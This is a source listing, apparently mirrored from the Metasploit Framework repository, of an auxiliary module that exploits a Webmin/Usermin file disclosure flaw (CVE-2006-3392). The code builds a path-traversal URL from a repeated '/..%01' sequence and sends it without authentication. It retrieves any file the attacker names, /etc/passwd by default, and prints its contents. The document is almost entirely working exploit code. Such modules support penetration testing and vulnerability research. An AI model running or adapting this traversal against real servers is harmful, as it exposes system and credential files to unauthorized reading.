Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/webmin/file_disclosure.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(update_info(info,10'Name' => 'Webmin File Disclosure',11'Description' => %q{12A vulnerability has been reported in Webmin and Usermin, which can be13exploited by malicious people to disclose potentially sensitive information.14The vulnerability is caused due to an unspecified error within the handling15of an URL. This can be exploited to read the contents of any files on the16server via a specially crafted URL, without requiring a valid login.17The vulnerability has been reported in Webmin (versions prior to 1.290) and18Usermin (versions prior to 1.220).19},20'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>' ],21'License' => MSF_LICENSE,22'References' =>23[24['OSVDB', '26772'],25['BID', '18744'],26['CVE', '2006-3392'],27['US-CERT-VU', '999601'],28['URL', 'https://web.archive.org/web/20060722192501/http://secunia.com/advisories/20892/'],29],30'DisclosureDate' => '2006-06-30',31'Actions' =>32[33['Download', 'Description' => 'Download arbitrary file']34],35'DefaultAction' => 'Download'36))3738register_options(39[40Opt::RPORT(10000),41OptString.new('RPATH',42[43true,44"The file to download",45"/etc/passwd"46]47),48OptString.new('DIR',49[50true,51"Webmin directory path",52"/unauthenticated"53]54),55])56end5758def run59print_status("Attempting to retrieve #{datastore['RPATH']}...")6061dir = normalize_uri(datastore['DIR'])62uri = Rex::Text.uri_encode(dir) + "/..%01" * 40 + Rex::Text.uri_encode(datastore['RPATH'])6364res = send_request_raw({65'uri' => uri,66}, 10)6768if (res)69print_status("The server returned: #{res.code} #{res.message}")70print(res.body)71else72print_status("No response from the server")73end74end75end767778